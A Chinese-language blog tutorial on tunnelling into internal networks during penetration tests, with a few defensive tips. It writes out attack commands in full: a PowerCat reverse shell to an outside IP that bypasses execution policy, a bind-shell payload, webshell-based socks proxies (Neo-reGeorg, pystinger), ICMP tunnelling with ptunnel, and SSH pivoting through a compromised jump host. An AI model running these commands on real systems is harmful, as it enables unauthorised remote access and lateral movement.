内网之搭建隧道

为什么要建立隧道呢?原因其实可以有很多。例如:自己的 Kali 虚拟机是在内网环境下,受害机和 Kali 往往不能直接建立连接。想要把自己带到内网环境,更好的进行内网渗透。不能直接访问到内网机器,需要与跳板机搭建隧道才能访问到…

常见隧道

  • 网络层:IPV6 隧道、ICMP 隧道
  • 传输层:TCP 隧道、UDP 隧道
  • 应用层:SSH 隧道、HTTP(S) 隧道、DNS 隧道、socks 隧道

判断出网与否

在渗透过程中我们总是不可避免的到搭建网络隧道,好将自己的攻击机带到内网环境中,更方便的进行操作

首先当然要判断机子是否出网。

  • ping。使用的是 TCP/IP 的一个子协议 ICMP 这个是很简单的命令,很容易想到,但是在 Webshell 中回显效果并不佳。
  • nc。TCP 协议。虽然 Windows 中并没有这个命令,但是 Linux 中可以用 nc 来判断出网与否
  • curl。这个命令非常好用。HTTP 协议
  • nslookup 使用的是 TCP/IP
  • dig 使用的是 UDP (Linux 中的命令,Windows 没有)

有的时候内网的机子不能直接出网,需要用内网中的代理服务器进行访问外网。我们可以查看内网中是否有类似 “proxy” 的机器。或者有相关的代理配置文件

可以类似用

curl -x proxy-ip:port www.baidu.com

进行测试。

ICMP 隧道

一般内网中不会过滤 ICMP 的流量,因为总是允许 ping 一下看看网络情况的。但是建立 ICMP 隧道的缺点就是流量会比较大

利用到 ICMP 隧道一般是发现 curl 不出网,但是 PING 出网的情况下(适用于目标机器是 Linux 服务器)。下面只介绍 ptunnel 这个工具。

这个工具在 Kali 中自带。我们可以将 Kali 这个自带的可执行文件传到目标机器上。这个工具的参数主要有

  • -x 。设置密码。
  • -p。流量中转的 IP 地址。一般为目标已被控制的 Linux 服务器。我们通过与目标的 Linux 服务器搭建隧道,从而访问内网其他的机子。
  • -da。想要访问内网机子的 IP
  • -dp。想要访问内网其他机子的端口号
  • -lp。指定本地中转的端口号。进行转发流量。通过访问这个端口号也

在目标 Linux 服务器上面

sudo ./ptunnel

我们可以在自己的 VPS 上面

sudo ./ptunnel -p 目标Linux服务器 -lp 10800 -da 其他内网IP -dp 那个内网IP的端口

此时我们访问 vps 服务器 10800 端口号就是访问到了对应的内网 IP 的对应端口

防御 ICMP 隧道的方法:

  • 检测同一来源的 ICMP 数据包数量
  • 注意 Payload 大于 64 bit 的 ICMP 数据包

PowerCat

这个工具简直就是 powershell 版本的 nc。可以实现 Windows 主机之间的 shell 传递。也可以实现 Windows 和 Linux 之间的传递

将 powercat.ps1 文件导入

https://github.com/besimorhino/powercat.git

powershell Import-Module "C:\Users\18213\Desktop\pingtunnel-qt\powercat\powercat.ps1"

下面这条命令可以直接执行反弹 shell

powershell -exec bypass -Command "& {Import-Module .\powercat.ps1; powercat -c 175.178.80.75 -p 8080 -v -e cmd.exe}"

如果权限低的话可能无法导入。如果是高权限的话就可以输入

set-ExecutionPolicy RemoteSigned

Linux nc

nc -lp 8080

反弹 shell

powercat -c 175.178.80.75 -p 8080 -v -e cmd.exe

Windows 之间 PowerCat 生成正向 shell payload

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将这个 ps1 文件上传到对应的机子上执行

powershell .\shell.ps1

然后在本机上面

powercat -c 目标ip -p 8000 -v

就正向连接了一个 shell

image-20221230192304025

这也就意味着可以实现目标机器上面没有 PowerCat 也依然可以获得 shell 的技术

PowerCat 的玩法还有很多。比如 DNS 和跳板机流量转发。

但是实际情况中想要在目标机器上面 Powershell 进行交互感觉比较困难,有点鸡肋

SSH

ssh 也是可以用来建隧道的。而且内网中几乎不会拦截 ssh 的流量。建立隧道的参数

  • -C:压缩传输,提高传输速度
  • -f:将 SSH 传输转入后台执行,不占用当前 shell
  • -N:建立静默连接
  • -g :允许远程主机连接本地用于转发的端口
  • -L:本地端口转发

  • -R: 远程端口转发

  • -D:动态转发(SOCKS 代理)
  • -P:指定 SSH 端口

本地转发:

注意到下面用了 -L 参数这个是用在跳板机能被外部的 VPS 访问到的情况下使用

在 vps 上执行

ssh -CfNg -L VPS端口:目标其他内网机器IP:目标其他机器端口 root@跳板机IP

当然啦,你肯定要控制了跳板机。提权获取了密码或者弄了 ssh 私钥

这个时候你访问 VPS:PORT 就相当于访问了其他内网机器IP的端口了

远程转发:

这个是用在跳板机不能被 VPS 访问到的情况下

ssh -CfNg -R VPS端口:目标其他内网机器IP:目标其他机器端口 root@跳板机IP

动态转发:

这个就是我们经常使用的 socks 代理了,他不用指定内网访问的 IP 和端口了

ssh -CfNg -D VPS端口 root@跳板机IP

想要避免 SSH 隧道攻击可以配置 SSH 白名单,只有特定的 IP 地址才能连接 SSH

RDP

此仓库提供了一种通过 RDP 连接,在本地机器上开启 socks 代理端口的方法。https://github.com/nccgroup/SocksOverRDP

HTTP/HTTPS

Neo-reGeorg

介绍一下著名的 Neo-reGeorg 代理工具吧。只需要将对应的 webshell 上传到目标网站,就可以使用 socks5 代理

第一步设置 tunnel.(php|asp….) 的密码并生成

python3 neoreg.py generate -k password

然后将 neoreg_servers 目录下的 webshell 上传

就可以用 neoreg.py 进行连接

python3 neoreg.py -k password -u http://xx/tunnel.php -p 10800

然后就可以在本机端口 10800 上面使用 socks5 代理了

pystinger

一款可以通过 webshell 实现 socks4 代理

到这里可以下载 https://github.com/FunnyWolf/pystinger 首先根据目标系统上传 stinger_server、以及 proxy.[php|jsp|asp]。然后在蚁剑上运行

start D:/XXX/stinger_server.exe./stinger_server

然后在攻击机上运行 ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000,你这样就可以使用 60000 端口进行 socks4 代理了

WindowsTerminal_5sNeASS09E

IPv6

6tunnel

这个工具可以实现端口转发

在 kali 上执行:

语法格式  6tunnel -4  [本机端口]   [转发IP x:x:x:x]   [转发端口]   
示例     6tunnel -4 3000 192.168.244.1 3000

此时访问 kali 本机的 3000 端口即是访问 192.168.244.1 的 3000 端口

DNS

dns 协议也可以建立隧道。但是比较麻烦。DNS 通道传输能力非常有限,速率比较低,传输大量的字节需要很长时间。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇